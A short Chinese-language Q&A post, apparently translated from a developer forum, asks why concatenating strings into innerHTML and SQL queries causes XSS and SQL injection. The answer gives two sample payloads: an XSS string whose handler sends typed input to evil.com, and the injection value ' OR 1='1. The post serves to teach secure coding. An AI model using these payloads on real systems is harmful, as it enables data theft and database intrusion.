最近(在这里)有人告诉我,串联Javascript会导致XSS漏洞.我已经在这里和Google上进行了研究,以找出造成这种情况的原因,但我没有看到.
第1部分-Javascript:显然,这是不安全的方法.为什么?您应该怎么做呢?
// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text" id="myId'+id+'" />';
cellOne.appendChild(el);
第2部分-MySQL:有人告诉您,当您连接SQL时,它将使您遭受SQL注入的攻击.我不确定concat SQL到底是什么意思.我以为他们不是在谈论SQL concat函数.我猜他们的意思是:
$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
或者可能?
$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
$sql .= " AND `col2` = '".$myvar.'";
这会使您暴露于SQL注入吗?
SQL部分是学术性的.我使用PDO来防止SQL注入.
解决方法:
第1部分
如果id来自持久存在于页面上的用户输入,则可能是这样.
id变量可能包含…
" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="
第2部分
除非使用正确的机制对这些变量进行转义,否则将存在漏洞.
$myvar变量可能包含…
' OR 1='1